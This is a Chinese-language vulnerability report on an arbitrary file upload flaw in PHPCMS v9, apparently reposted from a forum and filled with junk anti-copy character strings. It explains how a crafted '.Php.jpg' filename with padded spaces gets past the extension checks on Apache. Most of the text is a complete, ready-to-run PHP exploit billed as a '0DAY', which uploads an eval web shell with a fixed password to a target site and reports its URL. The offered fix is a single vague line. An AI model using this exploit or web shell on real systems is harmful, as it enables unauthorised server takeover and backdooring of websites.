漏洞类型: 文件上传导致任意代码执行: R' F: T- u3 l6 a/ C
- X6 {: j# F* G) A
简要描述:0 G2 r8 O! y4 G4 R0 t
+ R' L: f" a p/ u4 z% o
phpcms v9 getshell (apache)& W7 L/ _' }! }* F8 l- @$ Q/ m, f) J
详细说明:
5 V: p$ E5 p7 k0 ], z& M
0 s7 U& j! r4 E; M8 N) G6 C漏洞文件:phpcms\modules\attachment\attachments.php9 q; A" h9 W2 Y/ I( ~9 ~, `( n
^8 T( D C' O! X
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } % D+ y5 r5 G2 |8 @- ~
后缀检测:phpcms\modules\attachment\functions\global.func.php* { w% h$ `) N" X6 L; W" G
" g% s2 K1 Q* d% l( E ?
* E6 K" f* M# a) j9 @0 O
6 t O9 p: F1 Z' gfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
0 D o Y- H3 C* J( Q- I( ?% A$ s J" B2 `' h; S+ U8 t
关键函数:% ]/ O* Z) N0 d: K( i
6 P/ O8 n: L9 K! X8 B" l
5 P9 m. p5 G; V& N V! a# n& @8 @2 P- R3 z* o5 A
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
: r4 \) D1 D9 L
# o8 N$ q" ^8 A2 x) a6 ^1 s. i Fileext函数是对文件后缀名的提取。. R1 d, ]/ M$ p' U" o
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
& e; R: O# ~. g) Q* ^ ]经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
2 ?3 x j% y% ~我们回到public function crop_upload() 函数中% k! q* o, n( F, u( o
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
7 ?9 S( y9 |8 l8 \' |在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数2 d' |. s3 J* s
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 ]5 h7 i& F2 z
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。/ X9 V& Z# |0 Y
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
- U( n0 T- Y, {4 T1 J/ H看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
# @, x/ b# G1 o0 j漏洞证明:
2 k, p; ^2 L9 q; g, b" H! m3 h/ w7 a" L0 J! x/ l
exp:
5 l- |. S4 @( ]' C0 L ?" Y( F4 R- Q# e3 x/ R5 |& ?
<?php0 R" O0 p5 ^) Q9 ?7 [
error_reporting(E_ERROR);
9 @# m( E% H4 Fset_time_limit(0);
5 x3 K: k% h2 w. n$pass="ln";# s# L! [) K7 A9 N" e6 M/ t5 I2 n+ i# h
print_r('1 }& U! q; H9 ~, B# S- s
+---------------------------------------------------------------------------+9 A8 Y5 v" D1 k: m4 G% r
PHPCms V9 GETSHELL 0DAY
" k9 G0 d6 W0 E' L7 a9 W! |( d5 rcode by L.N.9 ?" h1 W2 Z' n4 {9 F/ h2 y% d* r
3 p6 w9 |/ x5 t4 `% q0 {- m% t
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
# s& v/ W7 F: f: f+---------------------------------------------------------------------------+
7 i8 `- f1 R5 e m% b% p' f');
' M% x9 [$ V* {if ($argc < 2) {
+ a5 r U6 l( ^ k( zprint_r('
: O; l6 t/ L5 }+ v* U+---------------------------------------------------------------------------+
! B1 J7 U% a' N2 A. aUsage: php '.$argv[0].' url path
* y, M: K$ X/ p6 O$ Q6 A" Z" ^+ W/ K1 K; G- D
Example:
/ |& F8 E: l+ `" g! J1.php '.$argv[0].' lanu.sinaapp.com$ V# P3 P. E. w S+ t5 k
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
8 O2 w" _& l- w2 u% ^+---------------------------------------------------------------------------+: T% W" X% `) ^" f. n2 x. B
');( }) P2 G6 l& W8 E5 T; N
exit;
/ X# j2 K" Q# t# W9 u* I& l1 U' A" Y}2 K3 E0 q& s9 T' s2 C6 P% X& c& b
* ?2 ^# S m: o" @8 c8 R @
$url = $argv[1];
! y- X* c, z+ X. Z# `' _# s$path = $argv[2];
1 P& T! z: K" x; c7 n* Y* L* M$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';; D( [7 O9 b1 H w/ p; k8 G' N1 p/ N
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';- S5 R* |. N# p" O: \% h
if($ret=Create_dir($url,$path))& U+ z7 D4 W" O
{$ A- n! [8 Q3 F: }) M
//echo $ret;
3 X$ S3 T7 T) j7 u$pattern = "|Server:[^,]+?|U";
; l$ F* G, r; L3 M2 @' Gpreg_match_all($pattern, $ret, $matches);
6 ~) E% [0 k- H) v# V# Yif($matches[0][0])
! v( E9 v* a" ]! @{
! N; p5 C) E, Dif(strpos($matches[0][0],'Apache') == false)4 v1 P& ]; l! i- @
{0 X5 h6 H$ \- ^+ ]; X: o# E1 K
echo "\n亲!此网站不是apache的网站。\n";exit;6 Y, S- l9 I2 s9 d
}& U6 y+ q# R0 n2 E0 a) W) d( N
}( ^, D: n& J8 ]' M$ t
$ret = GetShell($url,$phpshell,$path,$file);
" E. H% E% F1 [* y" E$ y$pattern = "|http:\/\/[^,]+?\.,?|U";
/ T5 l& ?6 f! P2 c( `# r: o" d1 epreg_match_all($pattern, $ret, $matches); F8 a* \5 Z4 A
if($matches[0][0])
. S& g3 u9 g5 {0 Z0 e{
0 j- T( t: U+ e5 q& N3 Uecho "\n".'密码为: '.$pass."\n";; I; {5 {9 z. L) X7 a, m
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
2 Z! c2 T5 v/ N2 y! H4 l- C s ^1 Q}+ Q7 J+ x9 a7 }5 ?% ?, k
else
9 D! P% V" v4 l$ S{
8 X. z. O l& I( D7 X4 z; X3 l$pattern = "|\/uploadfile\/[^,]+?\.,?|U";" ~ h6 N8 `: O& D' F9 j4 k$ u7 M( }
preg_match_all($pattern, $ret, $matches);9 C+ q$ c# C; L/ y' h
if($matches[0][0])/ L4 s7 m3 O) V% g1 j& C
{* w% O3 \- W' P' H
echo "\n".'密码为: '.$pass."\n";: ~! g3 I& w1 D. _ k; A
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
' F, r+ N& s) {. `}
, H, n& I |; U# S6 l2 nelse
: m- x- H) U9 R{; j0 p, @2 c% q
echo "\r\n没得到!\n";exit;
2 W' a* o' ]$ G5 z}
# A) Z' b$ R8 O( o: m9 t0 s}
2 z/ v! w1 j& v+ e: h}
+ W# ?% r" D5 g F) n4 v; J. c1 r) b+ t5 ]$ W
function GetShell($url,$shell,$path,$js)& V2 A( g7 c0 ^
{( f# z/ m* k% V9 d D# u
$content =$shell;" u' |' V, e6 K2 ?- f n4 R/ j
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";/ n6 z$ j) m" q, l4 V; R9 a' H
$data .= "Host: ".$url."\r\n";
3 J2 @4 \4 X: `5 Z1 k' Z# o9 K" I1 r$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 F9 w5 q4 ~3 y0 k# F& q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
' p9 r( o3 G6 O& v4 `' B" p$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
) r4 d1 U: b3 C: @* m: y1 A) h1 P$data .= "Connection: close\r\n";# ?) y- ^& j n1 Y4 f6 ?$ {
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
7 Y# J/ B% H% S9 d! w$data .= $content."\r\n";
1 ?5 F, T% V. v8 Y% Y1 m5 P7 f$ock=fsockopen($url,80);4 ^9 a5 G& i+ h. p$ ~- f
if (!$ock)
; t2 ~! C* Q( T. V- d{
0 K6 V, j+ L2 y4 @# Gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;7 G) N7 \9 E* `. r+ P8 @) s
}
, M% x7 }5 [7 U+ [% Q. nelse
" j3 X2 H) s7 g- B- m{
0 o' f# E0 e' V6 t1 Ofwrite($ock,$data);
- i: u- v1 V6 ~: C) Q+ {$resp = '';
9 `3 y2 ?3 p8 j' n0 @* Cwhile (!feof($ock)). l* w# U. I0 ]) m
{
8 R3 f1 ^0 K* P; L( B$resp.=fread($ock, 1024);$ |- a2 b! D, U, }% J
}
/ k3 q8 i# c& Preturn $resp;2 x! X& Z; I9 X8 G& E
}0 P3 M: x$ K1 @$ G; w' b* h
}
5 g. Q- T. D/ c m6 P# o8 ?' T2 ]4 ? I* B: X3 ~/ `
function Create_dir($url,$path='')
$ k" B9 O- h$ C( [% |# C. Q{
; t! n ]3 U3 Z9 @4 i& E$content ='I love you';4 Y. E* m4 Y6 u7 o
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";3 U: B" w* ~( @
$data .= "Host: ".$url."\r\n";. }, ^" n% @8 o3 a
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 x# R1 F& d. `2 Y$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";) W( R0 U- r- ^$ _
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";8 V7 q) K& ?8 E) I3 J& o+ A" r
$data .= "Connection: close\r\n"; Z& h% P$ P4 s) q+ E& S; U2 z
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( A- e' v" Q1 p. y" K1 \$data .= $content."\r\n";
/ Z, W# ]7 N- m+ @( j: q1 K$ock=fsockopen($url,80);
0 d, Y( v; E0 G; c q; hif (!$ock)
& C6 i& M$ v7 ~( O" s/ r{, D& T# G' x' X7 Z
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;0 s- |2 N+ A2 k# a
}, C2 K) T" ], M
fwrite($ock,$data);
" z/ P. E0 }4 r( D$resp = '';
& i, v5 }8 W; q1 \while (!feof($ock))- m8 H ]2 o* F0 o
{
; l" M0 Z9 y" q5 Q$resp.=fread($ock, 1024);
7 P$ [+ C+ z6 X4 ]5 ?}
: k/ J' O* k+ X f6 q6 C* F. d! Jreturn $resp;
4 t! X- }/ M7 U' `4 q9 A- D2 y1 \}
& J. V1 j, e f {' o?> $ S. {/ P3 }1 F& d
2 N J! ], t- W/ o修复方案:8 W* ?' B& k4 I1 [6 F H" m
$ h: J4 D" f$ T$ Y% T
过滤过滤再过滤
/ e2 o0 M! ]7 T/ y' U9 H
' i3 t# \" G! K. L |